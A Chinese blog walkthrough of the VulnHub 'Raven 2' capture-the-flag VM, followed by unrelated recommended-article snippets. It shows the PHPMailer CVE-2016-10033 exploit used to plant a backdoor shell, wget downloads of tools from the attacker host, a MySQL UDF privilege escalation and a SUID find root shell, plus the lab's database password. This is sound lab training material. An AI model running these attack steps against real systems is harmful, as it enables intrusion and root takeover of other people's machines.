3-VulnHub-Raven 2_3-raven2-程序员宅基地

技术标签: python  vulnhub50  linux  mysql  数据库  

VulnHub-Raven: 2

靶机地址:https://www.vulnhub.com/entry/raven-2,269/

目标:找到四个flag.txt信息

作者:尼德霍格007

时间:2021-7-8

准备工作:kali虚拟机(NAT),raven2虚拟机(NAT)

一、信息收集

首先要确定目标机IP地址,nmap扫描

$ nmap -sP 192.168.21.0/24

image-20210708105914649

之后查看开放端口,全端口扫描

image-20210708110115602

可以看到目标机开放了22端口(SSH),80端口(HTTP)和两个其他端口(我不知道是干嘛的)

先访问80端口

image-20210708110437102

看见网页,翻一翻,没有思路。
扫一下目录
工具:dirb

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

命令:dirb http://192.168.21.133
开始爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YuQSNBMe-1625752439300)(https://i.loli.net/2021/07/08/4JcuP38BaTbO6IV.png)]

看到有一个vendor目录

image-20210708111150384

是个目录遍历

image-20210708111257793

一个一个查看

在path中发现了第一个flag

image-20210708111416576

而且得到网站绝对路径/var/www/html/vendor/

image-20210708111508646

继续找,在README.md中看到这个靶机有一个PHPMailer服务

image-20210708111731544

在VERSION中看到版本是5.2.16,推测是PHPMailer的版本

image-20210708111849783

二、开始拿shell

百度这个版本相关漏洞

image-20210708112119631

好家伙,直接搜出来一堆

使用searchsploit 搜索可以利用的漏洞

image-20210708112323222

好像搜出来的都可以用

也可以到exploit-db.com搜索

image-20210708112708822

跟着师傅们的路子走,选择40974这个

image-20210708112449509

漏洞编号是CVE 2016-10033

image-20210708112947236

将exp拷贝到当前目录

命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

image-20210708113101179

这里要改一些40974.py的一些参数

image-20210708114120379

头部要加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

target要改成靶机的地址

backdoor就是后门文件,要和最后一个框里的名称对应

最后一个框的路径和名称要改一下,不能用默认的

执行

image-20210708114709847

我这里报错了,安装一个requests_toolbelt模块即可解决

命令:

sudo apt-get install python3-pip

image-20210708115028648

如果是python2的环境就把命令中的3去掉

执行

python3 40974.py

image-20210708115214617

访问http://192.168.21.133/contact.php,他就会自动生成一个nide.php后门文件

image-20210708115802532

开启监听(我这里由于8888端口监听不成功,就换成了4444)

image-20210708121027299

然后访问后门文件

image-20210708120958253

成功获得shell

image-20210708121302612

继续用python获取pty

python -c ‘import pty;pty.spawn("/bin/bash")’

image-20210708142438798

找了一番

image-20210708121453100

成功获得第二个flag

image-20210708121524277

查找一下,image-20210708122215748

得到两个flag,第二个我们看过了

查看第三个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LrP5ULFq-1625752439315)(https://i.loli.net/2021/07/08/Wf92A7EhtJ8cZNu.png)]

最后一个flag需要提权

三、权限提升

我们去网站根目录下看看

image-20210708122738971

有个wordpress,看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z1i5wlH2-1625752439316)(https://i.loli.net/2021/07/08/MnbAcvH5mwyqSxl.png)]

看一下配置文件

image-20210708123039683

找到了数据库的root用户名和密码

用户名为:root 

密码为:R@v3nSecurity

在这里利用Linux枚举漏洞工具LinEnum

下载地址:https://github.com/rebootuser/LinEnum

image-20210708131250100

下载完,我们用python搭建以一个简易的服务器
命令:python -m SimpleHTTPServer 6666

image-20210708131300972

把文件下载到靶机里面,给执行权限

wget http://192.168.21.128:6666/LinEnum.sh

20210708131405.png

没有错误提示说明上传成功

执行./LinEnum.sh

image-20210708131627924

可以看到mysql是用root‘用户登陆的

image-20210708131802959

使用命令:dpkg -l | grep mysqlmysql查看数据库版本是5.5.60

image-20210708133030092

也可以连接数据库查看

mysql -u root -pR@v3nSecurity

select version();

image-20210708162845742

百度找一下udf提权

image-20210708133242229

查找可用的msf

image-20210708133410276

使用第二个1518.c

拷贝出来

image-20210708133527817

编译生成so文件

命令:gcc -g -c 1518.c

image-20210708133816944

命令:gcc -g -shared -o nide.so 1518.o -lc

image-20210708133837201

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

使用前面的python 6666服务传输到靶机

wget http://192.168.21.128:6666/nide.so

image-20210708133958260

然后通过mysql进行UDF提权

进入数据库

image-20210708142606378

创建数据表 foo

create table foo(line blob);

image-20210708143623039

插入数据:insert into foo values(load_file(’/tmp/nide.so’));

image-20210708144005470

Foo表成功插入二进制数据

outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出

新建存储函数

然后利用dumpfile函数把文件导出

命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/nide3.so’;

image-20210708183936621

创建自定义函数do_system 类型是integer,别名(soname)文件名字

命令:create function do_system returns integer soname ‘nide3.so’;

image-20210708183647285

然后查询函数是否创建成功

命令:select * from mysql.func

image-20210708184041391

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

image-20210708185703753

任意创建一个文件

image-20210708185806216

执行find命令
使用find执行 shell

命令:find finn -exec “/bin/sh” ;

image-20210708185914810

成功获得root权限!!

终于拿下这台靶机

image-20210708190025026

获得flag4

四、总结

这次复现的难度挺大的,官方说是中等难度,但是我一路打下来比昨天打的Lampiao难多了,中间遇到的问题层出不穷。首先是在利用CVE 2016-10033漏洞时,改payload文件时就弄错了好久,之后在利用Linux枚举漏洞提权时,因为不熟悉数据库的相关操作,今天下午一直卡在这里,经历了重启虚拟机,重建数据表,重新添加一台虚拟机等多种方法后,终于在最后成功在数据库建立表,创建自定义函数,导出数据,提权,获得flag4。真的挺不容易的,再接再厉吧!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_43809826/article/details/118583375

智能推荐

交叉线和直通线的区别和用途_直通线相同类型-程序员宅基地

一般设备分为DCE(数据通信设备)和DTE(数据终端设备)当DCE 和DCE 以及DTE和DTE 之间相连,也就是同种类型的设备相连时间,我们用交叉线。当DCE和DTE 之间相连接,也就是不同种类型的设备相连时间,我们一般使用直通线即不同类型的设备需要更简单的连接,不宜是传输复杂化常见的DCE 设备(交换机,集线器,CSU/DSU)常见的DTE设备(终端计算机,路由器)_直通线相同类型

LeetCode 1503. 所有蚂蚁掉下来前的最后一刻_数据结构和算法的博客-程序员宅基地

截止到目前我已经写了 600多道算法题,其中部分已经整理成了pdf文档,目前总共有1000多页(并且还会不断的增加),大家可以免费下载下载链接:https://pan.baidu.com/s/1hjwK0ZeRxYGB8lIkbKuQgQ提取码:6666这题具有很大的迷惑性,当两只蚂蚁相遇的时候需要计算这两只蚂蚁的位置以及方向,当蚂蚁比较多的时候这样计算非常复杂。题中说了当两只蚂蚁相遇的时候他们同时改变方向,但速度不变。我们可以这样来思考,假设所有蚂蚁都是一样的,并且具有穿透功能。当两._所有蚂蚁掉下来前的最后一刻

JS无线轮播 跑马灯效果-程序员宅基地

思路: 1.在原有的span标签后面复制一个span标签2.设置box的卷曲值 达到 span、内容向左 滚动的效果3. 在第一个span 向左移动 box的卷曲值达到 box的宽度时 ,再将box盒子的卷曲值 重新设为0效果图:静态结构 如下:<div id="box"> <span id="sp"> <a href="">...

例1.3 从键盘输入两个整数,输出其中较大的数_输入两个数输出较大的数-程序员宅基地

例1.3 从键盘输入两个整数,输出其中较大的数运行结果如下:_输入两个数输出较大的数

SuperButton_superbutton问题-程序员宅基地

**这真的可能是最好用的按钮了 SuperButton**链接:https://github.com/ansnail/SuperButton?utm_source=androidweekly.io&utm_medium=website背景按钮应该是我们的App里面最普遍的组件之一了,特别常用。通常我们写一个按钮的套路很简单也很固定。大概分为以下几个步骤:在xml布局里面按照设..._superbutton问题

AMD 64位启示录_operton275-程序员宅基地

64位不可阻挡]在个人电脑20多年的发展历史上,AMD在与Intel的竞争中似乎从来没有像现在这样占据优势,这一切似乎都要归功于它推出的x86-64系列64位CPU。我们知道,x86结构在公元1981年随着IBM PC-XT个人电脑的中央处理器——Intel的8086进入了人类的世界,这颗在当时拥有优秀性能和低廉价格的处理器,是一颗真正16位的微型处理器(8086有16位的寄存器、运算单元和16位_operton275

随便推点

android data/app下的文件被误删,系统恢复,android手机系统程序误删了怎么恢复?_蛏子圣子的博客-程序员宅基地

安卓手机误删系统程序后开不了机解决方法为:1、下载附件 adb.rar 并解压得到3个文件 ,将此三个文件放入电C:\Windows\System32目录下。2、找到你当初的刷机包(LU6200一般都是recovery恢复包),在system.ext4.tar压缩包中/system/app/(如果是framework.apk,或者systemUI.apk则在相应的目录下去找)。3、将手机关机(或者..._adroid/data/包名 覆盖安装后 文件被删除

pyinstaller打包pytorch无法在新机上运行之一步步解决问题_python\lib\site-packages\torch\lib\c10.dll-程序员宅基地

描述:记录自己在pyinstaller打包pytorch程序中出现的问题,傻傻的以为打包成功了,但是后来发现无法在没有环境的机器上正常运行。在本机打包过程中出现的问题不再描述,问题:直接上图..._python\lib\site-packages\torch\lib\c10.dll

linux centos 7.7修改或者添加ssh端口号 (Job for sshd.service failed because the control process exited )_job+for+sshd.service-程序员宅基地

文章目录总结修改端口设置防火墙端口打开重启ssh可能提示没得 semanage总结1.先开好防火墙端口2.再设置号 selinux3.最后再改 sshd_config,记得别敲错字符了改完之后,别着急退出,先telnet试试端口通不通,然后ssh连接一下,行不行。就算敲错字符了,或者重启没成功,只要当前连接没退出,还是依旧有效的。一旦退出,就会再也连不上。修改端口cat /etc/ssh/sshd_configvi /etc/ssh/sshd_config添加Port 22Port_job+for+sshd.service

Linux 内核中的 Device Mapper 机制-程序员宅基地

Linux 内核中的 Device Mapper 机制尹 洋, 在读博士生尹洋,中科院计算所国家高性能计算机工程技术研究中心的在读博士生,主要从事服务部署和存储资源管理以及Linux块设备一级的开发和研究工作。简介:本文结合具体代码对 Linux 内核中的 device mapper 映射机制进行了介绍。Device mapper 是 Lin...

STM32之定时器输入捕获-程序员宅基地

1.输入捕获模式可以用来测量脉冲宽度或者测量频率。STM32的定时器,除了TIM6和TIM7,其他定时器都有输入捕获功能。STM32的输入捕获,简单的说就是通过检测TIMx_CHx上的边沿信号,在边沿信号发生跳变(比如上升沿/下降沿)的时候,将当前定时器的值(TIMx_CNT)存放到对应的通道的捕获/比较寄存(TIMx_CCRx)里面,完成一次捕获。同时还可以配置捕获时是否触发中断/DMA 等....

进程与线程-程序员宅基地

为什么80%的码农都做不了架构师?>>> ...

推荐文章

热门文章

相关标签